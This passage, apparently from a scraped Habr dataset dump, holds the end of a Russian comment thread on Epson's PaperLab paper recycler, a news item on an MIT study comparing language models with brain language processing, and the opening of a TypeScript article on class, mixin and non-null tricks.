остальное — надеюсь, знаете <br/>\r\n4) Выделяется бюджет, подписывается ТЗ предоставленное самим подрядчиком (ибо со стороны заказчика никто и знать не знает, что это такое и как должно выглядеть)<br/>\r\n5) Подрядчик интегрирует какое-нибудь готовое решение, которое в принципе чуть допилить — и оно годится, но никому это нафиг не надо.<br/>\r\n6) Всех заставляют пользоваться<br/>\r\n… но никто не пользуется (или только из-под палки), ибо профита нет, ведь как, например, выглядит согласование документа: появляется документ в списке на согласование, его <b>печатают на принтере, подписывают, сканируют, прикладывают к задаче</b>, нажимают «исполнено». Просто неудобный аналог электронной почты.<br/>\r\n<br/>\r\nИ это электронный документооборот. И это не прикол, а реальное состояние дел.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Интересный агрегат. Помню статью.<br/>\r\n<br/>\r\nБыла ещё одна технология от компании «Toshiba», в 2012 вроде как выпустила в Японии принтер, позволяющий стирать с бумаги напечатанный ранее текст. И у Xerox тоже что то подобное было.<br/>\r\nНо реально также не слыхать в массах.<br/>\r\n<br/>\r\nПо мне так самые экологичные термопринтеры, никакой краски, бумагу можно перерабатывать бесконечное число раз.<br/>\r\n<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Может быть машинка состоит из двух отсеков? В первом складируется мукулатура, во втором хранится новая бумага, которую втихоря загружает специально обученный инженер во время смены «расходников» (шутка)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мне тоже приходилось участвовать в подобных балаганах (причем с обеих сторон).<br/>\r\nПросто лень было расписывать, потому и прикрылся шуткой.<br/>\r\nСпасибо =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Сейчас госконтракты подписываться на площадках в электроном виде. Причем, некоторые заказчики категорически отказываются дублировать его подписание в бумажном. <br/>\r\nК сожалению, пока отчетные документы (акты, проектную документацию и т.п.) предпочитают принимать в бумажном виде. Думаю, со временем, тоже отойдет в мир иной.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Точно, и чип будет стоять на таком картридже, и СНПЧ начнут делать через пару лет :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Да уж, лучше бы доработали технологию отделяемого от бумаги тонера, тогда бы и бумага, и тонер могли бы повторно использоваться. А в макулатуру шли бы только рваные, мятые, грязные и т.п. листы.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да я зуб даю, что этот их фирменный клей для бумаги сведёт всю выгоду на нет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Они бы разорились, если бы делали без таких граблей.<br/>\r\nУ меня epson rx640, к нему я прикупил 7 литров хороших чернил за 4000р. Чтобы получить эквивалентный объем чернил в фирменных картриджах, нужно потратить уже где-то полмиллиона.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">слышал другую версию, где «покупатель», когда машинка сдулась, пошел в ментовку, дескать обманули. ну продавцов приняли что-то типа за мошенничество, а покупателя — к стенке за фальшивомонетничество.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">вопрос экологичности: да, с такой машиной не надо отвозить макулатуру на переработку… но сколько со2 будет выброшено в атмосферу при выработке электричества для работы этой машины, по сравнению с работой завода + транспортировкой? Гораааааздо больше, гарантирую вам.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Работаю в медицинской страховой компании, так там за последние лет 6 количество бумаги увеличилось в разы с соответствии с изменением в законодательстве и с каждыми последующими изменениями только возрастает. Все шкафами со всякими документами заставлено.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Такой подозрение, что ни разу. Волокна уже короче и плюс связывающий состав. Как минимум с каждой итерацией качество бумаги будет уменьшаться заметно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тогда надо чтобы связывающим компонентом был сахар.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я знаю несколько структурных подразделений крупных компаний, в которых данная машина, установленная на выходе, позволит организовать замкнутый цикл деятельности подразделения без ущерба для основного бизнес-процесса. Сами напечатали, сами переработали, и никому проблем не создали, знай только электричество подводи да фонд оплаты труда сотрудников пополняй. Гениально. Epson-красавчики.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А после планового обслуживания <s>продавать сведения составляющие тайну</s></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Они изобрели антипринтер!!!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да-да — наплодили исчадий, а теперь пытаются карму исправить :)))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ой, да ладно вам, прям <i>исчадий</i>! =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">«Это 720 листов в час или 5760 листов за 8-часовой рабочий день.»<br/>\r\n<br/>\r\nАвтомат требует присутствия оператора? Или почему нельзя производить чистую бумагу по ночам, чтобы не мешал шум? Или если автомат не шумный, то насколько он способен работать 24/7?<br/>\r\n<br/>\r\nНу и да, самое главное — это стоимость нового листа, в пересчете на расходники + электричество и кол-во отходов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А что еще можно сказать про энтерпрайз-решения? <br/>\r\n«Чу́дище о́бло, озо́рно, огро́мно, стозе́вно и ла́яй» :)))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p><a href=\"https://habr.com/ru/users/epsonic/\" class=\"user_link\">epsonic</a>, ну как оно там? в будущем-то? смогли запустить производство этого чЮдесного агрегата?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Привет! PaperLab пока продается только в Японии и ряде стран западной Европы.<br/>\r\nВ РФ и СНГ в 2021 году поставок не планируется.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Спасибо большое. Главное проект не загнулся. Это хорошо.</p></div>" ], "message_markdown": [ "UFO just landed and posted this here", "Сделаем запрос, но на данный момент сами знаем только то, что рассказали в публикации. Пока что это пусть рабочий, но лишь прототип ~~с двумя экранами~~. Головной офис в таких случаях не любит раскрывать карты раньше времени.", "А самое главное, сколько стоят расходники?", "Что-то мне подсказывает — дешевле и практичнее занять объем этой машины, пачками почтой офисной бумаги.", "Скорее всего вы правы, за исключением случаев когда компания позиционирует себя на рынке как \"зеленую\". Для них это будет дополнительный фактор их зеленоватости.", "Еще несколько вопросов по работе машины, если вы не против.\n 1. Можно ли вторично перерабатывать в этой машине произведенную в ней бумагу? А 3, 4, 5... раз?\n 2. Количество часов до техобслуживания, рекомендуемая нагрузка в месяц, часов работы.\n 3. Стоимость техобслуживания и расходников.\n 4. Уровень шума при работе.\n 5. Не выделяет ли при работе летучие вещества, пыль. Другими словами, не начнут ли сотрудники офиса через годик отходить в мир иной от рака легких, астмы и т.п.\nАппарат проходил сертификацию на безопастность такого рода?\nИдея аппарата просто замечательная, надеюсь, что скоро его можно будет приобрести по выгодной цене. Успехов вам.", "UFO just landed and posted this here", "UFO just landed and posted this here", "12 листов А4 в минуту это, конечно, круто! А сколько листов такой же плотности нужно в неё предварительно загрузить?\nИли плотность выходящей бумаги снижается после каждого цикла переработки?", "Интересно было бы знать какую бумагу она перерабатывает? Точнее в каком состоянии. Мятую или с пятнами от кофе тоже скушает или только в хорошем состоянии?", "Шел 2017 год а в мире до сих пор марают тонны бумаги в каждом офисе только для того чтобы отпечатанные образцы разок прочитать и уничтожить.", "Это без малого прорыв.", "Да, интересно, я даже вспомнил свою статью про анонс двухлетней давности, которая тут упомянута.\nВот, оказывается, в чём подвох. Связующее вещество paperplus. Поскольку просто продажей оргтехники зарабатывать не принято, и все наживаются на расходниках, то полагаю, что это вещество будет стоить столько, что дешевле будет гонять за новой бумагой водителя на вертолёте в другой город.", "Самый интересный вопрос — сколько будет стоить? :)", "Если учесть её собственную стоимость и срок амортизации, то не только на вертолёте, там на каждой пачке автограф космонавтов МКС можно поставить.", "А переработанную устройством бумагу после использования можно снова переработать? Сколько раз?", "UFO just landed and posted this here", "Ну в России-то точно не откажутся. Даже наоборот, её становится только больше. Одно только внедрение электронных журналов в школах и электронной записи на приём к врачу в бюджетных поликлиниках позволило существенно увеличить расход бумаги.", "Потому что в офисах всё ещё работает слишком много пенсионеров докомпьютерной эпохи, которые даже наручные часы до сих пор носят механические, потому что на электронных и время-то выставить не смогут без помощи секретарши.", "Всего-то? Надо будет намайнить завтра на работе :)", "А ещё развесить по стенам, измазать ручками/маркерами/карандашами, сохранить без оглядки на деградацию носителей и совместимость форматов, и с практически применимой достоверностью подтвердить подлинность.\nЭто я к тому, что хотя к отказу от бумаги в большинстве случаев, безусловно, следует стремиться, есть ещё масса ситуаций, в которых она, чисто экономически, обходит «цифру» с отрывом на несколько порядков.", "off осторожнее с этим :)", "UFO just landed and posted this here", "А сколько будет стоить ремонт такой машины после попадания в нее скрепки или скобки от степлера?\nИли так: сколько скобок от степлера эта машина способна переварить?", "Братья-гики, я ваши сообщения за сегодня аккуратно каталогизирую и передам менеджеру по бизнес-технике. На что сможем ответить — ответим, не сможем — запросим у головного офиса.\nРады, что аппарат вас так заинтересовал!", "Добрый день! Волею судеб являюсь специалистом в производстве бумаги. И могу сказать, что данное устройство является не более чем маркетингом.\n 1. Производство бумаги из вторичного сырья без применения воды очень спорно, не понятно как волокна связываются между собой, это мертвое волокно, которое надо разрабатывать на мельницах (очень энергоемкий процесс) без воды он невозможен. Из этого следует, что бумага произведенная на данном оборудовании не будет иметь нужных механических свойств. Вообще сухой метод производства бумаги реализован, но на предприятиях, и пока он не может превзойти по экономическим показателям.\n 2. Пункт о специальных химикатах тоже оставляет вопросы, например о себестоимости выпускаемой продукции. Основными показателями офисной бумаги является пылимость (то как быстро сломается принтер, который будет печатать на такой бумаге, вопрос времени) и «капиллярная впитываемость»- с этим пунктом вообще интересно (это и печатные свойства и эстетический вид печати).\n 3. Зачем это нужно??? Один офис не сможет сделать бумагу дешевле предприятия, которые производят по 30 тонн такой бумаги в час.\n 4. Возможно было бы эффективнее перестроить такое оборудование так: офисная макулатура ---> на выходе тиссью бумага (салфетки и туалетная бумага).", "Согласен, что вопросов достаточно (у нас самих — тоже). На все по возможности постараемся ответить, но не сразу, т.к. у самих инфы по аппарату не так много.\nЗачем это нужно??? Один офис не сможет сделать бумагу дешевле предприятия\nНа это сам могу ответить. В первую очередь фишка устройства в гарантированном безвозвратном уничтожении данных с документов. Это не шредер, это рекомбинатор. Восстановить данные после переработки листа с конфиденциальным документом просто невозможно никаким образом.", "В таком случае достаточно миникрематрия для сжигания бумаги\n... да и вообще способов уничтожить документ довольно много.\nсъесть например.", "Ярко представил себе слоган рекламной кампании аппарата: «Надоело есть одну и ту же бумагу? Опостылел запах миникрематория? Есть ответ! Epson PaperLab! Ароматизированная бумага на любой вкус и цвет!»", "Сказочные идиоты :)", "UFO just landed and posted this here", "Не могу пока предметно аргументировать, но, честно говоря, было бы странным анонсировать подобный аппарат как экологичный, но при этом выпускать к нему какую-нибудь формальдегидную расходку. Об этом также разузнаем.", "Крупные конторы с развитыми бюрократическими традициями все еще живут по принципу «Больше бумаги — чище задница» =\\\nА компьютер рассматривают исключительно как наиболее эффективный макулатурогенератор.\nСарказм, «еси чо» =)", "UFO just landed and posted this here", "Ходил такой анекдот в советское время. Дескать некие ушлые товарищи продали одному лошаре машинку для печатанья денег. Она в виде коробочки, сбоку ручка. Крутишь ручку, из коробочки выезжает рубль. Тестировали, крутили ручку, работает!!! Сговорились на 5000 рублей. Продали. Через неделю, когда ушлых товарищей след простыл машинка перестала работать. Открыли, посмотрели. Оказалось была заправлена пачка 100 рублей рублями, а теперь они просто кончились... Интересно сколько бумаги войдет в объем 2,6×1,2×1,8м? )))", "Какой уж тут сарказм. Выглядит это так:\n1) Нужен электронный документооборот, как у всех.\n2) Его необходимость спускается сверху на все подразделения\n3) Находится подрядчик из «нужных». Как проходит тендер и всё остальное — надеюсь, знаете\n4) Выделяется бюджет, подписывается ТЗ предоставленное самим подрядчиком (ибо со стороны заказчика никто и знать не знает, что это такое и как должно выглядеть)\n5) Подрядчик интегрирует какое-нибудь готовое решение, которое в принципе чуть допилить — и оно годится, но никому это нафиг не надо.\n6) Всех заставляют пользоваться\n... но никто не пользуется (или только из-под палки), ибо профита нет, ведь как, например, выглядит согласование документа: появляется документ в списке на согласование, его печатают на принтере, подписывают, сканируют, прикладывают к задаче, нажимают «исполнено». Просто неудобный аналог электронной почты.\nИ это электронный документооборот. И это не прикол, а реальное состояние дел.", "Интересный агрегат. Помню статью.\nБыла ещё одна технология от компании «Toshiba», в 2012 вроде как выпустила в Японии принтер, позволяющий стирать с бумаги напечатанный ранее текст. И у Xerox тоже что то подобное было.\nНо реально также не слыхать в массах.\nПо мне так самые экологичные термопринтеры, никакой краски, бумагу можно перерабатывать бесконечное число раз.", "Может быть машинка состоит из двух отсеков? В первом складируется мукулатура, во втором хранится новая бумага, которую втихоря загружает специально обученный инженер во время смены «расходников» (шутка)", "Мне тоже приходилось участвовать в подобных балаганах (причем с обеих сторон).\nПросто лень было расписывать, потому и прикрылся шуткой.\nСпасибо =)", "Сейчас госконтракты подписываться на площадках в электроном виде. Причем, некоторые заказчики категорически отказываются дублировать его подписание в бумажном.\nК сожалению, пока отчетные документы (акты, проектную документацию и т.п.) предпочитают принимать в бумажном виде. Думаю, со временем, тоже отойдет в мир иной.", "Точно, и чип будет стоять на таком картридже, и СНПЧ начнут делать через пару лет :)", "Да уж, лучше бы доработали технологию отделяемого от бумаги тонера, тогда бы и бумага, и тонер могли бы повторно использоваться. А в макулатуру шли бы только рваные, мятые, грязные и т.п. листы.", "UFO just landed and posted this here", "Да я зуб даю, что этот их фирменный клей для бумаги сведёт всю выгоду на нет.", "Они бы разорились, если бы делали без таких граблей.\nУ меня epson rx640, к нему я прикупил 7 литров хороших чернил за 4000р. Чтобы получить эквивалентный объем чернил в фирменных картриджах, нужно потратить уже где-то полмиллиона.", "слышал другую версию, где «покупатель», когда машинка сдулась, пошел в ментовку, дескать обманули. ну продавцов приняли что-то типа за мошенничество, а покупателя — к стенке за фальшивомонетничество.", "вопрос экологичности: да, с такой машиной не надо отвозить макулатуру на переработку... но сколько со2 будет выброшено в атмосферу при выработке электричества для работы этой машины, по сравнению с работой завода + транспортировкой? Гораааааздо больше, гарантирую вам.", "Работаю в медицинской страховой компании, так там за последние лет 6 количество бумаги увеличилось в разы с соответствии с изменением в законодательстве и с каждыми последующими изменениями только возрастает. Все шкафами со всякими документами заставлено.", "Такой подозрение, что ни разу. Волокна уже короче и плюс связывающий состав. Как минимум с каждой итерацией качество бумаги будет уменьшаться заметно.", "Тогда надо чтобы связывающим компонентом был сахар.", "Я знаю несколько структурных подразделений крупных компаний, в которых данная машина, установленная на выходе, позволит организовать замкнутый цикл деятельности подразделения без ущерба для основного бизнес-процесса. Сами напечатали, сами переработали, и никому проблем не создали, знай только электричество подводи да фонд оплаты труда сотрудников пополняй. Гениально. Epson-красавчики.", "А после планового обслуживания ~~продавать сведения составляющие тайну~~", "Они изобрели антипринтер!!!", "Да-да — наплодили исчадий, а теперь пытаются карму исправить :)))", "Ой, да ладно вам, прям исчадий! =)", "«Это 720 листов в час или 5760 листов за 8-часовой рабочий день.»\nАвтомат требует присутствия оператора? Или почему нельзя производить чистую бумагу по ночам, чтобы не мешал шум? Или если автомат не шумный, то насколько он способен работать 24/7?\nНу и да, самое главное — это стоимость нового листа, в пересчете на расходники + электричество и кол-во отходов.", "UFO just landed and posted this here", "А что еще можно сказать про энтерпрайз-решения?\n«Чу́дище о́бло, озо́рно, огро́мно, стозе́вно и ла́яй» :)))", "epsonic, ну как оно там? в будущем-то? смогли запустить производство этого чЮдесного агрегата?", "Привет! PaperLab пока продается только в Японии и ряде стран западной Европы.\nВ РФ и СНГ в 2021 году поставок не планируется.", "Спасибо большое. Главное проект не загнулся. Это хорошо." ], "author": [ "{}", "Веб-менеджер Epson (epsonic)", "toteKopf", "Константин (vconst)", "dtBlack", "AndreyMtv", "{}", "{}", "Владислав (vlad_bo)", "Alexey Katanaev (Simoh)", "YegorVin", "Александр (aleksandros)", "Вячеслав Голованов (SLY_G)", "Андрей (Andy_Big)", "Юрий (ploop)", "aliencash", "{}", "Alexey2005", "Alexey2005", "Андрей (Andy_Big)", "Максим Кич (MaxKitsch)", "Javian", "{}", "shtushkutush", "Веб-менеджер Epson (epsonic)", "permida", "Веб-менеджер Epson (epsonic)", "shtushkutush", "Веб-менеджер Epson (epsonic)", "Андрей (Andy_Big)", "{}", "Веб-менеджер Epson (epsonic)", "VerdOrr", "{}", "aliencash", "Юрий (ploop)", "Иван (VIPDC)", "natan555", "VerdOrr", "safari2012", "safari2012", "Джон Смит (alan008)", "{}", "rustavelli", "rustavelli", "vorphalack", "ebragim", "Zverienish", "Zverienish", "Zverienish", "gshamshurin", "eatfears", "redreytar", "VerdOrr", "Веб-менеджер Epson (epsonic)", "Сергей Кулик (saboteur_kiev)", "{}", "VerdOrr", "Максим Гречушников (maxyc_webber)", "Веб-менеджер Epson (epsonic)", "Максим Гречушников (maxyc_webber)" ], "children": [ [ 18380295, 18380297 ], [ 18380303 ], [ 18380299 ], [ 18380301, 18380395 ], [], [ 18380367 ], [ 18380355 ], [ 18380327 ], [], [], [ 18380329, 18380333 ], [], [ 18380321, 18380373 ], [ 18380325 ], [], [ 18380389 ], [ 18380331 ], [ 18380337, 18380353 ], [], [ 18380335 ], [], [ 18380351 ], [ 18380357, 18380387 ], [], [ 18380403 ], [ 18380345, 18380361 ], [ 18380347 ], [ 18380349 ], [ 18380391 ], [], [ 18380379 ], [], [ 18380363, 18380371 ], [], [ 18380383 ], [ 18380369 ], [ 18380375 ], [], [], [], [ 18380377 ], [], [ 18380381 ], [ 18380405 ], [], [], [], [], [], [], [], [], [ 18380399 ], [ 18380401 ], [ 18380407 ], [], [], [], [ 22522224 ], [ 22522234 ], [] ] }
585,756
ru
https://habr.com/ru/post/585756/
Исследование: мозг понимает язык с помощью «автокоррекции»
Исследователи Массачусетского технологического института применили модели искусственного интеллекта для изучения того, как и почему наш мозг понимает язык. Выяснилось, что человеческий мозг может работать примерно так же, как и функция автокоррекции на смартфоне. Новое исследование опубликовано в Proceedings of the National Academy of Sciences. Авторы работы заявляют, что функции языковых моделей ИИ напоминают метод языковой обработки в человеческом мозгу. Так, последнее поколение языковых моделей было разработано для предсказания следующего слова в тексте, как и функция автозамены в iMessage, но наблюдатели заметили, что они в некотором роде понимают значение текста. «Чем лучше модель предсказывает следующее слово, тем больше она соответствует человеческому мозгу», — говорит Нэнси Канвишер, профессор когнитивной нейробиологии и автор нового исследования. Новая модель предсказания следующего слова является частью усилий по глубокому обучению нейронных сетей. За последнее десятилетие эти модели использовались для воссоздания функций мозга, а именно для распознавания объектов. Нейросети могут функционировать аналогично человеческому мозгу, потому что они смоделированы по его образцу. Они включают тысячи узлов обработки, которые передают информацию друг другу. Группа исследователей из МТИ проанализировала 43 различных языковых модели, многие из которых были оптимизированы для предсказания следующего слова, в том числе GPT-3. Они предложили каждой модели словесную строку для измерения активности ее нейронных узлов. Затем они сравнили эти паттерны с активностью человеческого мозга, измеренной, когда испытуемые выполняли языковые задачи, такие как слушание, чтение полных предложений и чтение по одному слову за раз. Исследование показало, что наиболее эффективные модели предсказания следующего слова имели паттерны активности, которые больше всего напоминали паттерны человеческого мозга. Кроме того, активность в этих моделях также коррелировала с поведенческими показателями человека, такими как скорость чтения текста. Результаты исследования показывают, что предсказание следующего слова является одной из ключевых функций языковой обработки. В дальнейшей работе ученые планируют создать варианты моделей предсказания следующего слова, чтобы увидеть, как небольшие изменения между каждой моделью влияют на их способность к обработке. Они также планируют объединить эти языковые модели с компьютерными, разработанными для выполнения других задач восприятия физического мира. Конечной целью исследователей является понимание того, как возникает общий интеллект. Ранее исследователи применили модель машинного обучения для преобразования сканов изображений мозга в изображения. Модель успешно восстановила увиденные человеком сцены путем анализа его мозговой активности.
<div xmlns="http://www.w3.org/1999/xhtml"><p>Исследователи Массачусетского технологического института <a href="https://news.mit.edu/2021/artificial-intelligence-brain-language-1025" rel="noopener noreferrer nofollow">применили</a> модели искусственного интеллекта для изучения того, как и почему наш мозг понимает язык. Выяснилось, что человеческий мозг может работать примерно так же, как и функция автокоррекции на смартфоне.</p><figure class="full-width "><img src="https://habrastorage.org/r/w780q1/getpro/habr/upload_files/341/330/151/3413301518ca7ad21b1e0a214e385c33.jpg" width="900" height="600" data-src="https://habrastorage.org/getpro/habr/upload_files/341/330/151/3413301518ca7ad21b1e0a214e385c33.jpg" data-blurred="true"/><figcaption></figcaption></figure><p>Новое исследование опубликовано в Proceedings of the National Academy of Sciences.</p><p>Авторы работы заявляют, что функции языковых моделей ИИ напоминают метод языковой обработки в человеческом мозгу. Так, последнее поколение языковых моделей было разработано для предсказания следующего слова в тексте, как и функция автозамены в iMessage, но наблюдатели заметили, что они в некотором роде понимают значение текста.</p><p>«Чем лучше модель предсказывает следующее слово, тем больше она соответствует человеческому мозгу», — говорит Нэнси Канвишер, профессор когнитивной нейробиологии и автор нового исследования.</p><p>Новая модель предсказания следующего слова является частью усилий по глубокому обучению нейронных сетей. За последнее десятилетие эти модели использовались для воссоздания функций мозга, а именно для распознавания объектов.</p><p>Нейросети могут функционировать аналогично человеческому мозгу, потому что они смоделированы по его образцу. Они включают тысячи узлов обработки, которые передают информацию друг другу.</p><p>Группа исследователей из МТИ проанализировала 43 различных языковых модели, многие из которых были оптимизированы для предсказания следующего слова, в том числе GPT-3. Они предложили каждой модели словесную строку для измерения активности ее нейронных узлов. Затем они сравнили эти паттерны с активностью человеческого мозга, измеренной, когда испытуемые выполняли языковые задачи, такие как слушание, чтение полных предложений и чтение по одному слову за раз.</p><p>Исследование показало, что наиболее эффективные модели предсказания следующего слова имели паттерны активности, которые больше всего напоминали паттерны человеческого мозга. Кроме того, активность в этих моделях также коррелировала с поведенческими показателями человека, такими как скорость чтения текста.</p><p>Результаты исследования показывают, что предсказание следующего слова является одной из ключевых функций языковой обработки.</p><p>В дальнейшей работе ученые планируют создать варианты моделей предсказания следующего слова, чтобы увидеть, как небольшие изменения между каждой моделью влияют на их способность к обработке. Они также планируют объединить эти языковые модели с компьютерными, разработанными для выполнения других задач восприятия физического мира.</p><p>Конечной целью исследователей является понимание того, как возникает общий интеллект.</p><div class="tm-iframe_temp" data-src="https://embedd.srv.habr.com/iframe/6178fa4e122cc8f63869682a" data-style="" id="6178fa4e122cc8f63869682a" width=""></div><p>Ранее исследователи <a href="https://habr.com/ru/news/t/542146/" rel="noopener noreferrer nofollow">применили</a> модель машинного обучения для преобразования сканов изображений мозга в изображения. Модель успешно восстановила увиденные человеком сцены путем анализа его мозговой активности.</p></div>
maybe_elf
null
null
<p>Исследователи Массачусетского технологического института <a href="https://news.mit.edu/2021/artificial-intelligence-brain-language-1025" rel="noopener noreferrer nofollow">применили</a> модели искусственного интеллекта для изучения того, как и почему наш мозг понимает язык. Выяснилось, что человеческий мозг может работать примерно так же, как и функция автокоррекции на смартфоне.</p>
Исследователи Массачусетского технологического института применили модели искусственного интеллекта для изучения того, как и почему наш мозг понимает язык. Выяснилось, что человеческий мозг может работать примерно так же, как и функция автокоррекции на смартфоне.
news
1,635,318,555
{ "commentsCount": 5, "favoritesCount": 3, "readingCount": 4125, "score": 9, "votesCount": 9, "votesCountPlus": 9, "votesCountMinus": 0 }
[]
[ "machine_learning", "artificial_intelligence", "brain", "natural_language_processing" ]
[ "develop", "popsci" ]
[ "мти", "нейросети", "глубокое обучение", "мозг", "предсказания", "слова", "текст", "natural language processing", "автокоррекция" ]
2
null
null
{ "id": [ 23635190, 23635204, 23635240, 23635704, 23636672 ], "parent_id": [ null, null, 23635204, null, null ], "level": [ 0, 0, 1, 0, 0 ], "time_published": [ 1635320757, 1635321000, 1635321462, 1635328031, 1635340964 ], "score": [ 3, 1, 1, 0, 0 ], "votes": [ 5, 1, 1, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>в книгах по обработке и распознаванию речи еще с 60х070х годов было написано что мы слышим во многом то, что ожидает услышать. Это давно известный факт, описанный в литературе.</p><p>Но видать сейчас литературу старше чем пять лет уже не читают, отсюда и \"сенсационные\" открытия.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тема под спойлером стара как мир. Не оно ли часом?<br/>\r\n<br/>\r\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">\n <b class=\"spoiler_title\">По рзелульаттам...</b>\n <div class=\"spoiler_text\"><img src=\"https://habrastorage.org/r/w1560/webt/0g/pj/s-/0gpjs-ebiel7dzplrxhfpugxtxk.png\" alt=\"image\" data-src=\"https://habrastorage.org/webt/0g/pj/s-/0gpjs-ebiel7dzplrxhfpugxtxk.png\"/><br/>\r\n</div>\n </div></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Нет. Речь про отгадывание следующего слова в предложении. Но робота все равно останется капитанской :)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Ухты. Так скоро и апофению откроют.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Почему в общественное открыто не обсуждается тема того что мы тоже нейронные сети, роботы? </p></div>" ], "message_markdown": [ "в книгах по обработке и распознаванию речи еще с 60х070х годов было написано что мы слышим во многом то, что ожидает услышать. Это давно известный факт, описанный в литературе.\nНо видать сейчас литературу старше чем пять лет уже не читают, отсюда и \"сенсационные\" открытия.", "Тема под спойлером стара как мир. Не оно ли часом?\nПо рзелульаттам...", "Нет. Речь про отгадывание следующего слова в предложении. Но робота все равно останется капитанской :)", "Ухты. Так скоро и апофению откроют.", "Почему в общественное открыто не обсуждается тема того что мы тоже нейронные сети, роботы?" ], "author": [ "AlexeyK77", "Marko Deinterlace (namikiri)", "PrinceKorwin", "O.K. (UDiy34r3u74tsg34)", "Cronprog" ], "children": [ [], [ 23635240 ], [], [], [] ] }
465,267
ru
https://habr.com/ru/post/465267/
TypeScript. Магия выражений
TypeScript — поистине прекрасный язык. В его арсенале есть все, что необходимо для качественной разработки. И если вдруг, кому-то знакомы секс-драматические этюды с JavaScript, то меня поймет. TypeScript имеет ряд допущений, неожиданный синтаксис, восхитительные конструкции, которые подчеркивают его красоту, форму и наполняют новым смыслом. Сегодня речь о них, об этих допущениях, о магии выражений. Кому интересно, добро пожаловать. ## Немного правды Правда N1. Большинство конструкций и неожиданных находок, изложенных ниже, мне впервые попались на глаза на страницах Stack Overflow, github или вовсе были изобретены самостоятельно. И только потом дошло — это все есть здесь или здесь. Поэтому заранее прошу отнестись с пониманием, если изложенные находки Вам покажутся банальными. Правда N2. Практическая ценность некоторых конструкций равна 0. Правда N3. Примеры проверялись под tsc версии 3.4.5 и целевой es5. На всякий случай под спойлером конфиг tsconfig.json { «compilerOptions»: { «outFile»: "./target/result.js", «module»: «amd», «target»: «es5», «declaration»: true, «noImplicitAny»: true, «noImplicitReturns»: true, «strictNullChecks»: true, «strictPropertyInitialization»: true, «experimentalDecorators»: true, «emitDecoratorMetadata»: true, «preserveConstEnums»: true, «noResolve»: true, «sourceMap»: true, «inlineSources»: true }, «include»: [ "./src" ] } ## Реализация и наследование Находка: в секции implements можно указывать интерфейсы, типы и классы. Нас интересуют последние. Подробности здесь [code] abstract class ClassA { abstract getA(): string; } abstract class ClassB { abstract getB(): string; } // Да, tsc нормально на это реагирует abstract class ClassC implements ClassA, ClassB { // ^ обратите внимание, на использование implements с классами. abstract getA(): string; abstract getB(): string; } [/code] Думаю разработчики TypeScript позаботились о 'строгих контрактах', исполненных через ключевое слово class. Причем классы необязательно должны быть абстрактными. Находка: в секции extends допускаются выражения. Подробности. Если задаться вопросом — можно ли унаследоваться от 2х классов, то формальный ответ — нет. Но если имеется в виду экспорт функциональности — да. [code] class One { one = "__one__"; getOne(): string { return "one"; } } class Two { two = "__two__"; getTwo(): string { return "two"; } } // Теже миксины, но в удобном виде: Подсказки в IDE (кроме статических полей) и автокомплит как положено. class BothTogether extends mix(One, Two) { // ^ находка в том, что в части extends допускаются выражения info(): string { return "BothTogether: " + this.getOne() + " and " + this.getTwo() + ", one: " + this.one + ", two: " + this.two; // ^ подсказки от IDE здесь и ^ имеется } } type FaceType<T> = { [K in keyof T]: T[K]; }; type Constructor<T> = { // prototype: T & {[key: string]: any}; new(): T; }; // TODO: эта реализация на коленке, можно не глядеть. Классная реализация есть на просторах интернета function mix<O, T, Mix = O & T>(o: Constructor<O>, t: Constructor<T>): FaceType<Mix> & Constructor<Mix> { function MixinClass(...args: any) { o.apply(this, args); t.apply(this, args); } const ignoreNamesFilter = (name: string) => ["constructor"].indexOf(name) === -1; [o, t].forEach(baseCtor => { Object.getOwnPropertyNames(baseCtor.prototype).filter(ignoreNamesFilter).forEach(name => { MixinClass.prototype[name] = baseCtor.prototype[name]; }); }); return MixinClass as any; } const bt = new BothTogether(); window.console.log(bt.info()); // >> BothTogether: one and two, one: __one__, two: __two__ [/code] Находка: глубокий и в тоже время бессмысленный аноним. [code] const Сlass = class extends class extends class extends class extends class {} {} {} {} {}; [/code] А кто больше напишет слово класс с 4 extends в примере выше? Если так [code] // tslint:disable const Class = class Class extends class Class extends class Class extends class Class extends class Class {} {} {} {} {}; [/code] А еще больше? Вот так [code] // tslint:disable const сlass = class Class<Class> extends class Class extends class Class extends class Class extends class Class {} {} {} {} {}; [/code] Ну Вы поняли — просто класс! ## Восклицательный знак — безграничный оператор и модификатор Если Вы не используете настройки компиляции strictNullChecks и strictPropertyInitialization, то скорее всего знания о восклицательном знаке прошли рядом с Вами... Помимо основного предназначения, для него отведены еще 2 роли. Находка: Восклицательный знак в роли Non-null assertion operator Этот оператор позволяет обращаться к полю структуры, которое может быть null без проверки на null. Пример с 